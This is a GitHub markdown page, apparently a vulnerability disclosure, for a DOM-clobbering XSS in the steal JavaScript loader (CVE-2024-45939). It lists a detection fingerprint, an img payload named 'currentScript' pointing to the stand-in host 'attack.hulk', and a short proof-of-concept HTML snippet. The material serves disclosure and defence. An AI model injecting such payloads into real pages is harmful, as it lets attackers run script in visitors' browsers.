Skip to content

Latest commit

 

History

History
36 lines (25 loc) · 644 Bytes

File metadata and controls

36 lines (25 loc) · 644 Bytes

steal

Meta

  • Library: steal
  • Stars: 1.4K
  • Version: v2.3.0
  • Fingerprint: typeof window.steal !== 'undefined' && typeof window.steal.loader === 'object'
  • Payload: <img name="currentScript" src="https://attack.hulk"><img>
  • Impact: XSS
  • CVE: CVE-2024-45939
  • Status: Accepted
  • Foundby: TheHulk

Library

https://github.com/stealjs/steal

Vulnerable Code Snippet

too complicated.

PoC

after running npm install

<!--Library-->
<script src="./node_modules/steal/steal.js" main></script>
<!--Library-->

<!--Payload-->
<image name="currentScript" src="http://localhost:9999"></image>
<!--Payload-->